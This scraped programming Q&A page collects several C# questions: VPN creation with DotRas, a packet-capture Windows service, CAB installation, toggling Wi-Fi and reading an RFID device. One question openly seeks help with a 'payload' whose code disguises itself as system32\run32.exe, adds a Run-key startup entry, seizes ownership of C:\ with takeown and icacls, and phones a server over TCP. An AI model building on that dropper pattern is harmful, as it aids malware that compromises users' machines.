DotRas to create a VPN with Windows 7 - c#

I have the below code and I want to get some VPN with some settings that I need to setup:
What I need is to
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using DotRas;
namespace vpnConsole
{
class Program
{
static void Main(string[] args)
{
string vpnName = "VPN Essai";
string destination = "113.244.66.3";
string preSharedKey = "Gs0r2!-8753";
try
{
RasPhoneBook phoneBook = new RasPhoneBook();
phoneBook.Open();
RasEntry vpnEntry = RasEntry.CreateVpnEntry(vpnName,destination,RasVpnStrategy.L2tpFirst,RasDevice.Create(vpnName,RasDeviceType.Vpn),false);
vpnEntry.Options.UsePreSharedKey = true;
vpnEntry.Options.UseLogOnCredentials = true;
vpnEntry.Options.RequirePap = true;
phoneBook.Entries.Add(vpnEntry);
vpnEntry.UpdateCredentials(RasPreSharedKey.Client, preSharedKey);
vpnEntry.Options.RequirePap = true;
bool isUpdated = vpnEntry.Update();
Console.WriteLine(#"Connection created and Updated with PreSharedKey=true, LogOnCredentials=true,RequirePap=true, RecordIsUpdated=" + isUpdated);
}
catch (Exception ex)
{
Console.WriteLine(#"ERROR: " + ex.Message + " Details: " + ex.Source );
Environment.Exit(999);
}
}
}
}
When I ran this code, it creates the VPN but does not keep settings I want to setup, for instance: RequirePap = true;
Configuration as I need it to be

Related

How to convert a script(Capture Packets and save it to log file) into Window Service?

I want to write a window service for keep capturing the network traffic and save the packets info into a log file, but I can't start it.
"Error 1064: An exception occurred in the service when handling the control request."
References:
Capturing And Parsing Packets
Save Output to Log
Create Window Service
Here's the code for Windows Service(failed):
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.ServiceProcess;
using System.Text;
using System.Threading.Tasks;
using CapturingAndParsingPackets;
using PacketDotNet;
using SharpPcap;
namespace CaptureService
{
public partial class Service1 : ServiceBase
{
private static bool _stopCapturing;
string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);//Get the desktop path
string filename = DateTime.Now.ToString("yyyy-MM-dd--HH-mm-ss");//Use date to name the file
public Service1()
{
InitializeComponent();
var devices = CaptureDeviceList.Instance; //Get the local devices
if (devices.Count < 1)
{
OnStop();
return;
}
}
protected override void OnStart(string[] args)
{
var devices = CaptureDeviceList.Instance; //Get the local devices
//set output type
var defaultOutputType = StringOutputType.Normal;
var outputTypeValues = Enum.GetValues(typeof(StringOutputType));
StringOutputType selectedOutputType = defaultOutputType;
int userSelectedOutputType;
userSelectedOutputType = 3;
selectedOutputType = (StringOutputType)userSelectedOutputType;
//read local device
var device = devices[3];
//read packets
var readTimeoutMilliseconds = 1000;
device.Open(DeviceModes.Promiscuous, readTimeoutMilliseconds);
//set filter
string filter = "host 192.168.0.212";
device.Filter = filter;
PacketCapture e;
var status = device.GetNextPacket(out e);
var rawCapture = e.GetPacket();
// use PacketDotNet to parse this packet and print out
// its high level information
var p = Packet.ParsePacket(rawCapture.GetLinkLayers(), rawCapture.Data);
// Create a log file to desktop and write the log into the log file
using (StreamWriter w = File.AppendText(path + "\\" + filename + ".log"))
{
Log(p.ToString(selectedOutputType) + p.PrintHex(), w);
}
device.Close();
}
public static void Log(string logMessage, TextWriter txtWriter)
{
try
{
txtWriter.Write("\r\nLog Entry : ");
txtWriter.WriteLine("{0} {1}", DateTime.Now.ToLongTimeString(),
DateTime.Now.ToLongDateString());
txtWriter.WriteLine();
txtWriter.WriteLine(logMessage);
txtWriter.WriteLine("============================================================================================================");
}
catch (Exception)
{
}
}
protected override void OnStop()
{
using (StreamWriter w = File.AppendText(path + "\\" + filename + ".log"))
{
Log("Service is stopped at " + DateTime.Now, w);
}
}
}
}
And Here is the script for just running it in VS(works fine):
using System;
using PacketDotNet;
using SharpPcap;
using System.IO;
using System.Reflection;
using log4net;
using log4net.Config;
namespace CapturingAndParsingPackets
{
class MainClass
{
// used to stop the capture loop
private static bool _stopCapturing;
public static void Main(string[] args)
{
// Print SharpPcap version
var ver = SharpPcap.Pcap.SharpPcapVersion;
Console.WriteLine("PacketDotNet example using SharpPcap {0}", ver);
// Retrieve the device list
var devices = CaptureDeviceList.Instance;
// If no devices were found print an error
if (devices.Count < 1)
{
Console.WriteLine("No devices were found on this machine");
return;
}
Console.WriteLine();
Console.WriteLine("The following devices are available on this machine:");
Console.WriteLine("----------------------------------------------------");
Console.WriteLine();
var i = 0;
// Print out the devices
foreach (var dev in devices)
{
/* Description */
Console.WriteLine("{0}) {1} {2}", i, dev.Name, dev.Description);
i++;
}
Console.WriteLine();
Console.Write("-- Please choose a device to capture: ");
Console.WriteLine();
Console.WriteLine("Output Verbosity Options");
Console.WriteLine("----------------------------------------------------");
Console.WriteLine();
var defaultOutputType = StringOutputType.Normal;
var outputTypeValues = Enum.GetValues(typeof(StringOutputType));
foreach (StringOutputType outputType in outputTypeValues)
{
Console.Write("{0} - {1}", (int)outputType, outputType);
if (outputType == defaultOutputType)
{
Console.Write(" (default)");
}
Console.WriteLine("");
}
Console.WriteLine();
Console.Write("-- Please choose a verbosity (or press enter for the default): ");
StringOutputType selectedOutputType = defaultOutputType;
int userSelectedOutputType;
//Fixed
userSelectedOutputType = 3;
selectedOutputType = (StringOutputType)userSelectedOutputType;
// Register a cancel handler that lets us break out of our capture loop
Console.CancelKeyPress += HandleCancelKeyPress;
//Fixed
var device = devices[3];
// Open the device for capturing
var readTimeoutMilliseconds = 1000;
device.Open(DeviceModes.Promiscuous, readTimeoutMilliseconds);
//filter host 192.168.0.212
//or you can set it to "filter = 'ip'; " for default
string filter = "host 192.168.0.212";
device.Filter = filter;
Console.WriteLine();
Console.WriteLine("-- Listening on {0}, hit 'ctrl-c' to stop...",
device.Name);
while (_stopCapturing == false)
{
PacketCapture e;
var status = device.GetNextPacket(out e);
// null packets can be returned in the case where
// the GetNextRawPacket() timed out, we should just attempt
// to retrieve another packet by looping the while() again
if (status != GetPacketStatus.PacketRead)
{
// go back to the start of the while()
continue;
}
var rawCapture = e.GetPacket();
// use PacketDotNet to parse this packet and print out
// its high level information
var p = Packet.ParsePacket(rawCapture.GetLinkLayers(), rawCapture.Data);
Console.WriteLine(p.ToString(selectedOutputType) + p.PrintHex());
Console.WriteLine("============================================================================================================");
using (StreamWriter w = File.AppendText("networkTraffic.log"))
{
Log(p.ToString(selectedOutputType), w);
Log(p.PrintHex(), w);
}
}
Console.WriteLine("-- Capture stopped");
// Print out the device statistics
Console.WriteLine(device.Statistics.ToString());
// Close the pcap device
device.Close();
}
static void Log(string logMessage, TextWriter txtWriter)
{
try
{
txtWriter.Write("\r\nLog Entry : ");
txtWriter.WriteLine("{0} {1}", DateTime.Now.ToLongTimeString(),
DateTime.Now.ToLongDateString());
txtWriter.WriteLine();
txtWriter.WriteLine(logMessage);
txtWriter.WriteLine("============================================================================================================");
}
catch (Exception)
{
}
}
static void HandleCancelKeyPress(object sender, ConsoleCancelEventArgs e)
{
Console.WriteLine("-- Stopping capture");
_stopCapturing = true;
// tell the handler that we are taking care of shutting down, don't
// shut us down after we return because we need to do just a little
// bit more processing to close the open capture device etc
e.Cancel = true;
}
}
}
The error that shows in Event Viewer(1064):
Application: CaptureTrafficService.exe
Framework Version: v4.0.30319
Description: The process was terminated due to an unhandled exception.
Exception Info: System.IO.FileNotFoundException
at CaptureTrafficService.Service1.OnStart(System.String[])
at System.ServiceProcess.ServiceBase.ServiceQueuedMainCallback(System.Object)
at System.ServiceProcess.ServiceBase.Run(System.ServiceProcess.ServiceBase[])
at CaptureTrafficService.Program.Main()
Service cannot be started. System.IO.FileNotFoundException: Could not load file or assembly 'netstandard, Version=2.1.0.0, Culture=neutral, PublicKeyToken=cc7b1xxxxxxxxxxx' or one of its dependencies. The system cannot find the file specified.
File name: 'netstandard, Version=2.1.0.0, Culture=neutral, PublicKeyToken=cc7b1xxxxxxxxxxx'
at CaptureTrafficService.Service1.OnStart(String[] args)
at System.ServiceProcess.ServiceBase.ServiceQueuedMainCallback(Object state)
After I remove the while loop in OnStart method, It shows up another error(1053):
Application: CaptureTrafficService.exe
Framework Version: v4.0.30319
Description: The process was terminated due to an unhandled exception.
Exception Info: System.IO.FileNotFoundException
Exception Info: System.IO.FileNotFoundException
at CaptureService.Service1..ctor()
at CaptureService.Program.Main()
The answer by #Sam1916 might lessen the frustration of FileNotFoundException.
The "System.IO.FileNotFoundException" caught my attention - but missing info on what files.
As Windows services run in "their own context" the files referenced (Through "using") might not exists in a readable directory, hench "FileNotFoundException"
Is the logfile placed in a directory where your service credentials are allowed to write?
There are too many unnecessary references that may affect each other in the solution so that it will return a lot of errors & warnings when building it. Just add them one by one if it is necessary, rebuild it when you added a new reference(for checking the compatibility) and not just copying all of them to the solution.
Too many unnecessary references(Before)
Just add the references you need(After)
Here's the code that works with windows service:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.ServiceProcess;
using System.Text;
using System.Threading.Tasks;
using System.Timers;
using SharpPcap;
using PacketDotNet;
namespace Capture
{
public partial class Capture : ServiceBase
{
Timer timer = new Timer();
public Capture()
{
InitializeComponent();
}
protected override void OnStart(string[] args)
{
Log("Service started at " + DateTime.Now);
timer.Elapsed += new ElapsedEventHandler(OnElapsedTime);
//timer.Interval = 5000;
timer.Enabled = true;
}
protected override void OnStop()
{
Log("Service is stopped at " + DateTime.Now);
}
private void OnElapsedTime(object source, ElapsedEventArgs e)
{
var devices = CaptureDeviceList.Instance;
//set output type
var defaultOutputType = StringOutputType.Normal;
StringOutputType selectedOutputType = defaultOutputType;
int userSelectedOutputType;
userSelectedOutputType = ? ;//? = 0-3
selectedOutputType = (StringOutputType)userSelectedOutputType;
//read local device
var device = devices[?];//? is mean num 0-4 or more(depends on your device)
//read packets
var readTimeoutMilliseconds = 1000;
device.Open(DeviceModes.Promiscuous, readTimeoutMilliseconds);
PacketCapture d;
var status = device.GetNextPacket(out d);
var rawCapture = d.GetPacket();
var p = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data);
Log(p.ToString(selectedOutputType) +p.PrintHex());//write to log file
device.Close();
}
public static void Log(string logMessage)
{
string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);+ "\\Logs" ;
if (!Directory.Exists(path))
{
Directory.CreateDirectory(path);
}
string filepath =Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + "\\Logs\\ServiceLog_" +
DateTime.Now.Date.ToShortDateString().Replace('/','_') + ".log";
using (StreamWriter sw = File.AppendText(filepath))
{
sw.WriteLine(logMessage);
sw.WriteLine("============================================================================================================");
}
}
}
}

Trying to reference registry dll in run-time compilation

Error (CS0103): The name 'regk' does not exist in the current context
Error (CS0103): The name 'rk' does not exist in the current context
I am attempting to generate a payload.
Full code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Security.AccessControl;
using System.ComponentModel;
using System.Diagnostics;
using Microsoft.Win32;
using System.Net.Sockets;
namespace Test
{
class Class2
{
public static bool RunOnStartup(string AppTitle, string AppPath)
{
RegistryKey rk;
try
{
rk = Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
rk.SetValue(AppTitle, AppPath);
return true;
}
catch (Exception)
{
}
try
{
rk = Registry.CurrentUser.OpenSubKey(#"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
rk.SetValue(AppTitle, AppPath);
}
catch (Exception)
{
return false;
}
return true;
}
static void drop()
{
//take ownership of the file, code assumes file you want to delete is toBeDeleted.txt
ProcessStartInfo processInfo = new ProcessStartInfo("cmd.exe", #"/k takeown /f C:\ && icacls C:\ /grant %username%:F");
processInfo.CreateNoWindow = true;
processInfo.UseShellExecute = true;
processInfo.Verb = "runas";
processInfo.FileName = System.Reflection.Assembly.GetExecutingAssembly().Location;//path of your executable
try
{
Process.Start(processInfo);
// a prompt will be presented to user continue with deletion action
// you may want to have some other checks before deletion
File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location, #"C:\Windows\system32\run32.exe");
RunOnStartup("sysrun32", #"C:\Windows\system32\run32.exe");
}
catch (Win32Exception)
{
//Do nothing as user cancelled UAC window.
}
catch (System.IO.IOException)
{
}
}
static void Main()
{
string serverip = "127.0.0.1";
if (File.Exists(#"C:\Windows\System32\run32.exe"))
{
if (System.Reflection.Assembly.GetExecutingAssembly().Location == #"C:\Windows\system32\run32.exe")
{
try
{
if(!Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\F12").GetValue == "true")
{
regk = Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\F12", true);
rk.SetValue("needsrun", "true");
}
else
{
TcpClient client = new TcpClient(serverip, 6675);
NetworkStream ns = client.GetStream();
ns.Write();
}
}
catch (Exception e)
{
}
}
}
else
{
drop();
}
}
}
}
There is my full code. Any help would be appreciated.
-bobboo101
Since regk isn't defined you need to define it's type or use var when you declare it e.g. var regk =.
You also can't access rk from Main because it's declared in RunOnStartup
You need to revise your class to store those variables at the class level as fields e.g. within Class2 and then you can access them from the methods you declare however keep in mind you have declared your methods as static so you will need to do the same for the variables or change the calls of your program to pass them to an instance.

CAB Installation Unsucessfully using wceload

When i run this application i get an message that DeviceApplication.CAB installation was unsuccessfull .
I checked inside the windows directory and i found that wceload.exe is available.
I have placed the cab inside the directory where the present exe is running .
Any idea how to do this ??
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
namespace DeviceApplication3
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public void displayMesage() {
LaunchInstaller("DeviceApplication.cab");
}
private static bool LaunchInstaller(string cabFile)
{
// Info on WceLoad.exe
//http://msdn.microsoft.com/en-us/library/bb158700.aspx
const string installerExe = "\\windows\\wceload.exe";
const string processOptions = "";
try
{
ProcessStartInfo processInfo = new ProcessStartInfo();
processInfo.FileName = installerExe;
processInfo.Arguments = processOptions + " \"" + cabFile + "\"";
Process process = Process.Start(processInfo);
if (process != null)
{
process.WaitForExit();
}
return InstallationSuccessCheck(cabFile);
}
catch (Exception e)
{
MessageBox.Show("Sorry, for some reason this installation failed.\n" + e.Message);
Console.WriteLine(e);
throw;
}
}
private static bool InstallationSuccessCheck(string cabFile)
{
if (File.Exists(cabFile))
{
MessageBox.Show("Something in the install went wrong. Please contact support.");
return false;
}
return true;
}
}
}
Answering my own question ,
Its because of the path i gave in the process ,
ProcessStartInfo psi = new ProcessStartInfo(#"Windows\wceload.exe", "/nodelete \"Program Files\\DeviceApplication3\\DeviceApplication.CAB\"");
Process proc = Process.Start(psi);

Programatically Switch Off/On Wi-Fi from WPF App

I have a WPF app that has a control(checkbox /toggle switch) . I want to turn Wi-Fi On/Off by using those buttons. I have tried the following code but it doesnt seem to help
I am using Windows 10 and Visual Studio 2015
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
namespace WpfApplication4
{
/// <summary>
/// Interaction logic for MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
// string name = "Hello World";
}
static void Enable(string interfaceName)
{
System.Diagnostics.ProcessStartInfo psi =
new System.Diagnostics.ProcessStartInfo("netsh", "interface set interface \"" + interfaceName + "\" enable");
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo = psi;
p.Start();
}
static void Disable(string interfaceName)
{
System.Diagnostics.ProcessStartInfo psi =
new System.Diagnostics.ProcessStartInfo("netsh", "interface set interface \"" + interfaceName + "\" disable");
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo = psi;
p.Start();
}
private void checkBox_Checked(object sender, RoutedEventArgs e)
{
string interfaceName = "Local Area Connection";
Disable(interfaceName);
}
}
}
I went through the following link with the first answer but there is no help .
I need some help so that I can programatically turn off/On Wi-Fi with the click of a button.
You can turn on/off Wi-Fi by changing software radio state (not hardware radio state) by Native Wifi API. Using some codes of Managed Wifi API project, I wrote a sample.
using System;
using System.Linq;
using System.Runtime.InteropServices;
using NativeWifi;
public static class WlanRadio
{
public static string[] GetInterfaceNames()
{
using (var client = new WlanClient())
{
return client.Interfaces.Select(x => x.InterfaceName).ToArray();
}
}
public static bool TurnOn(string interfaceName)
{
var interfaceGuid = GetInterfaceGuid(interfaceName);
if (!interfaceGuid.HasValue)
return false;
return SetRadioState(interfaceGuid.Value, Wlan.Dot11RadioState.On);
}
public static bool TurnOff(string interfaceName)
{
var interfaceGuid = GetInterfaceGuid(interfaceName);
if (!interfaceGuid.HasValue)
return false;
return SetRadioState(interfaceGuid.Value, Wlan.Dot11RadioState.Off);
}
private static Guid? GetInterfaceGuid(string interfaceName)
{
using (var client = new WlanClient())
{
return client.Interfaces.FirstOrDefault(x => x.InterfaceName == interfaceName)?.InterfaceGuid;
}
}
private static bool SetRadioState(Guid interfaceGuid, Wlan.Dot11RadioState radioState)
{
var state = new Wlan.WlanPhyRadioState
{
dwPhyIndex = (int)Wlan.Dot11PhyType.Any,
dot11SoftwareRadioState = radioState,
};
var size = Marshal.SizeOf(state);
var pointer = IntPtr.Zero;
try
{
pointer = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(state, pointer, false);
var clientHandle = IntPtr.Zero;
try
{
uint negotiatedVersion;
var result = Wlan.WlanOpenHandle(
Wlan.WLAN_CLIENT_VERSION_LONGHORN,
IntPtr.Zero,
out negotiatedVersion,
out clientHandle);
if (result != 0)
return false;
result = Wlan.WlanSetInterface(
clientHandle,
interfaceGuid,
Wlan.WlanIntfOpcode.RadioState,
(uint)size,
pointer,
IntPtr.Zero);
return (result == 0);
}
finally
{
Wlan.WlanCloseHandle(
clientHandle,
IntPtr.Zero);
}
}
finally
{
Marshal.FreeHGlobal(pointer);
}
}
public static string[] GetAvailableNetworkProfileNames(string interfaceName)
{
using (var client = new WlanClient())
{
var wlanInterface = client.Interfaces.FirstOrDefault(x => x.InterfaceName == interfaceName);
if (wlanInterface == null)
return Array.Empty<string>();
return wlanInterface.GetAvailableNetworkList(Wlan.WlanGetAvailableNetworkFlags.IncludeAllManualHiddenProfiles)
.Select(x => x.profileName)
.Where(x => !string.IsNullOrEmpty(x))
.ToArray();
}
}
public static void ConnectNetwork(string interfaceName, string profileName)
{
using (var client = new WlanClient())
{
var wlanInterface = client.Interfaces.FirstOrDefault(x => x.InterfaceName == interfaceName);
if (wlanInterface == null)
return;
wlanInterface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
}
}
}
Check available interface names by GetInterfaceNames and then call TurnOn/TurnOff with one of the names. According to MSDN, it should require administrator priviledge but it doesn't on my environment.
SUPPLEMENT
I added two more methods to this class. So the sequence will be something like this.
Get existing Wi-Fi interface names by GetInterfaceNames.
Select an interface and turn it on by TurnOn.
Get profile names associated to available Wi-Fi networks through the interface by GetAvailableNetworkProfileNames.
Select a profile and connect to the network by ConnectNetwork.
After finished using the network, turn the interface off by TurnOff.
You could use the device library from windows universal apps.
Documentation:
https://msdn.microsoft.com/en-us/library/windows/apps/windows.devices.wifi.aspx
Microsoft sample:
https://github.com/Microsoft/Windows-universal-samples/tree/master/Samples
In order to use this library with WPF application you could add
< TargetPlatformVersion > 8.0< / TargetPlatformVersion >
to your .csproj file between
< PropertyGroup>.... < /PropertyGroup>

RFID application using C#. Reason for not able to read data

I have managed to connect to the RFID USB reader using the code below... However, whenever my tag is placed near the reader. It does not run the function and produce an output of "Reading Data...". Anyone can provide me a functioning RFID coding? Below is my codes written.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.IO.Ports;
using System.Threading;
using System.Windows.Forms;
using Gtk;
namespace Testing1
{
public class Testing1
{
public static SerialPort iSerialPort = new SerialPort();
static int Main()
{
string strException = string.Empty;
string strComPort = "COM17";
int nBaudrate=Convert.ToInt32(9600);
int nRet = OpenCom(strComPort, nBaudrate, out strException);
if (nRet != 0)
{
string strLog = "Connect reader failed, due to: " + strException;
Console.WriteLine(strLog);
//return;
}
else
{
string strLog = "Reader connected " + strComPort + "#" + nBaudrate.ToString();
Console.WriteLine(strLog);
}
Console.WriteLine("Press any key to exit.");
Console.ReadKey();
iSerialPort.Close();
return 0;
}
public static int OpenCom(string strPort, int nBaudrate, out string strException)
{
strException = string.Empty;
if (iSerialPort.IsOpen)
{
iSerialPort.Close();
}
try
{
iSerialPort.PortName = strPort;
iSerialPort.BaudRate = nBaudrate;
iSerialPort.ReadTimeout = 3000;
iSerialPort.DataBits = 8;
//iSerialPort.Parity = Parity.None;
//iSerialPort.StopBits = StopBits.One;
//iSerialPort.Handshake = Handshake.None;
iSerialPort.DataReceived += new SerialDataReceivedEventHandler(DataReceivedHandler);
iSerialPort.Open();
}
catch (System.Exception ex)
{
strException = ex.Message;
return -1;
}
return 0;
}
private static void DataReceivedHandler(object sender,SerialDataReceivedEventArgs e)
{
SerialPort sp = (SerialPort)sender;
string indata = sp.ReadExisting();
Console.WriteLine("Data Received:");
Console.Write(indata);
}
}
}

Categories